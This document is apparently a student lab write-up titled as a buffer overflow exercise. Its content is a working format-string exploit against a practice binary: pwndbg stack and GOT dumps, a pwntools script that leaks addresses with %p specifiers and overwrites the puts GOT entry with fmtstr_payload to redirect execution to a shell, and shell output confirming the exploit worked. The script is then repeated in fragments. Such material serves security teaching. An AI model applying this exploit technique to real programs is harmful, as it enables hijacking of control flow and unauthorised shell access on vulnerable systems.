

Exploiting Buffer Overflow Vulnerability Part3

```
pwndbg> stack 30
00:0000  eax esp 0xff887f98 ← '%16$p'
01:0004  0xff887f9c → 0xf7de0070 (__vfwscanf_internal+16560) ← xchg  eax, ebx
02:0008  0xff887fa0 → 0xf7f6bd20 (_IO_2_1_stdout_) ← 0xfbad2a84
03:000c  0xff887fa4 ← 0xa /* '\n' */
04:0010  0xff887fa8 ← 0x1b
05:0014  0xff887fac → 0xf7db790e (__internal_atexit+62) ← add  esp, 0x10
06:0018  0xff887fb0 → 0xf7fa2909 (_dl_fixup+9) ← add  ebx, 0x216f7
07:001c  0xff887fb4 → 0xf7f6b000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
08:0020  0xff887fb8 → 0xf7f6bdbc (stdout) → 0xf7f6bd20 (_IO_2_1_stdout_) ← 0xfbad2a84
09:0024  0xff887fbc ← 0x1b
0a:0028  0xff887fc0 → 0xff887fe8 ← 0x0
0b:002c  0xff887fc4 → 0xf7fa8ce0 (_dl_runtime_resolve+16) ← pop  edx
0c:0030  0xff887fc8 ← 0x3
0d:0034  0xff887fcc ← 0x2
0e:0038  0xff887fd0 ← 0x1
0f:003c  0xff887fd4 → 0x566091dd (winner) ← push  ebp
10:0040  0xff887fd8 → 0x5660c000 (_GLOBAL_OFFSET_TABLE_) ← 0x3efc
11:0044  ebp 0xff887fdc → 0xff887fe8 ← 0x0
12:0048  0xff887fe0 → 0x566092a1 (main+35) ← jmp  0x5660928d
13:004c  0xff887fe4 ← 0x0
14:0050  0xff887fe8 ← 0x0
15:0054  0xff887fec → 0xf7d9e905 (__libc_start_main+229) ← add  esp, 0x10
16:0058  0xff887ff0 ← 0x1
17:005c  0xff887ff4 → 0xff888094 → 0xff8893ce ← './hw2p2'
18:0060  0xff887ff8 → 0xff88809c → 0xff8893d6 ← 'COLORFGBG=15;0'
19:0064  0xff887ffc → 0xff888024 ← 0x0
1a:0068  0xff888000 → 0xff888034 ← 0x82fa9113
1b:006c  0xff888004 → 0xf7fc4b98 → 0xf7fc4b30 → 0xf7f8a3f0 → 0xf7fc49d0 ← ...
1c:0070  0xff888008 → 0xf7f8a420 → 0x56608347 ← 'GLIBC_2.0'
1d:0074  0xff88800c → 0xf7f6b000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
pwndbg>
```

```
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 6

[0x5660c00c] printf@GLIBC_2.0 → 0x56609036 (printf@plt+6) ← push  0 /* 'h' */
[0x5660c010] puts@GLIBC_2.0 → 0xf7def4e0 (puts) ← push  ebp
[0x5660c014] system@GLIBC_2.0 → 0x56609056 (system@plt+6) ← push  0x10
[0x5660c018] __libc_start_main@GLIBC_2.0 → 0xf7d9e820 (__libc_start_main) ← call  0xf7ec5169
[0x5660c01c] putchar@GLIBC_2.0 → 0x56609076 (putchar@plt+6) ← push  0x20 /* 'h' */
[0x5660c020] __isoc99_scanf@GLIBC_2.7 → 0xf7dd4ff0 (__isoc99_scanf) ← call  0xf7ec5169
```

```
1 |
2 | /* WARNING: Function: __x{
3 |
4 | void winner(void)
5 |
6 | {
7 |     puts("You did it!");
8 |     system("/bin/sh");
9 |     return;
10 | }
11 |
```

```
(kali㉿kali)-[~/Desktop]
$ sudo ./enableASLR.sh
+ aslrPATH=/proc/sys/kernel/randomize_va_space
++ cat /proc/sys/kernel/randomize_va_space
+ ASLR=2
+ '[' 2 = 0 ']'
+ echo 'ALSR is already enabled!'
ALSR is already enabled!
```

```

1 #!/usr/bin/env python3
2 #!/usr/bin/env python2
3 import time, os, traceback, sys, os
4 import pwn
5 import binascii, array
6 from textwrap import wrap
7
8
9 def start(argv=[], *a, **kw):
10     if pwn.args.GDB: # use the gdb script, sudo apt install gdbserver
11         return pwn.gdb.debug([binPath] +argv, gdbscript=gdbscript, aslr=True, *a, **kw)
12     elif pwn.args.REMOTE: # ['server', 'port']
13         return pwn.remote(sys.argv[1], sys.argv[2], *a, **kw)
14     else: # run locally, no GDB
15         return pwn.process([binPath]+argv, *a, **kw)
16
17 binPath="./hw2p2"
18 isRemote = pwn.args.REMOTE
19
20 # build in GDB support
21 gdbscript = '''
22 init-pwndbg
23 break*mainProcessing+85
24 continue
25 '''
26
27 # interact with the program to get to where we can exploit
28 pwn.context.log_level="DEBUG"
29 elf = pwn.context.binary = pwn.ELF(binPath, checksec=False)
30 pwn.context.update(arch='i386', os='linux')
31
32 io=start()
33
34 io.recvuntil("Get user input:\n")
35 io.sendline("%16$p")
36 winner=io.recvline()
37
38 io.recvuntil("Get user input:\n")
39 io.sendline("%17$p")
40 got=io.recvline()
41
42 print(winner)
43 winner1=winner.strip().decode("utf-8")
44 print("Converting winner function address to string")
45 print(type(winner1))
46 print(winner1)
47 winner2=int( winner1, 16)
48 print("Converting winner function address to integer")

```

```

49 print(type(winner2))
50 print(winner2)
51
52
53 print("got value")
54 print(got)
55 print("Converting got table address to string")
56 myStr=got.strip().decode("utf-8")
57 print(type(myStr))
58 print(myStr)
59 print("converting got value to integer")
60 gotint1=int( myStr, 16)
61 print(type(gotint1))
62 print(gotint1)
63 print("adding the offset require for the puts address")
64 putsaddr1=int(gotint1+int(28))
65 print(type(putsaddr1))
66 print(putsaddr1)
67
68
69 buffer=pwn.fmtstr_payload(1, {putsaddr1: winner2}, write_size='short')
70
71 |
72 pwn.info("buffer len: %d",len(buffer))
73 io.sendline(buffer)
74
75 io.interactive()

```

```

$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'kali\n'
kali
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0xcd bytes:
b'uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)\n'
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)
$ echo "Sumanth Vankineni"
[DEBUG] Sent 0x19 bytes:
b'echo "Sumanth Vankineni"\n'
[DEBUG] Received 0x12 bytes:
b'Sumanth Vankineni\n'
$ date
[DEBUG] Sent 0x5 bytes:
b'date\n'
[DEBUG] Received 0x20 bytes:
b'Mon Nov 21 03:13:20 AM EST 2022\n'
Mon Nov 21 03:13:20 AM EST 2022
$

```

1\x1ecV\x1ccVYou did it!

```
#!/usr/bin/env python3
#!/usr/bin/env python2
import time, os, traceback, sys, os
import pwn
import binascii, array
from textwrap import wrap

def start(argv=[], *a, **kw):
    if pwn.args.GDB: # use the gdb script, sudo apt install gdbserver
        return pwn.gdb.debug([binPath] +argv, gdbscript=gdbscript,
aslr=True, *a, **kw)
    elif pwn.args.REMOTE: # ['server', 'port']
        return pwn.remote(sys.argv[1], sys.argv[2], *a, **kw)
    else: # run locally, no GDB
        return pwn.process([binPath]+argv, *a, **kw)

binPath="./hw2p2"
isRemote = pwn.args.REMOTE

# build in GDB support
gdbscript = ""
init-pwndbg
break *mainProcessing+85
continue
''.format(**locals())

# interact with the program to get to where we can exploit
pwn.context.log_level="DEBUG"
```

```
elf = pwn.context.binary = pwn.ELF(binPath, checksec=False)  
pwn.context.update(arch='i386', os='linux')
```

```
io=start()
```

```
io.recvuntil('Get user input:\n')
```

```
io.sendline("%16$p")
```

```
winner=io.recvline()
```

```
io.recvuntil('Get user input:\n')
```

```
io.sendline("%17$p")
```

```
got=io.recvline()
```

```
print(winner)
```

```
winner1=winner.strip().decode("utf-8")
```

```
print("Converting winner function address to string")
```

```
print(type(winner1))
```

```
print(winner1)
```

```
winner2=int( winner1, 16)
```

```
print("Converting winner function address to integer")
```

```
print(type(winner2))
```

```
print(winner2)
```

```
print("got value")
```

```
print(got)
```

```
print("Converting got table address to string")
```

```
myStr=got.strip().decode("utf-8")
print(type(myStr))
print(myStr)
print("converting got value to integer")
gotint1=int( myStr, 16)
print(type(gotint1))
print(gotint1)
print("adding the offset require for the puts address")
putsaddr1=int(gotint1+int(28))
print(type(putsaddr1))
print(putsaddr1)

buffer=pwn.fmtstr_payload(1, {putsaddr1: winner2}, write_size='short')

pwn.info('buffer len: %d',len(buffer))
io.sendline(buffer)

io.interactive()
```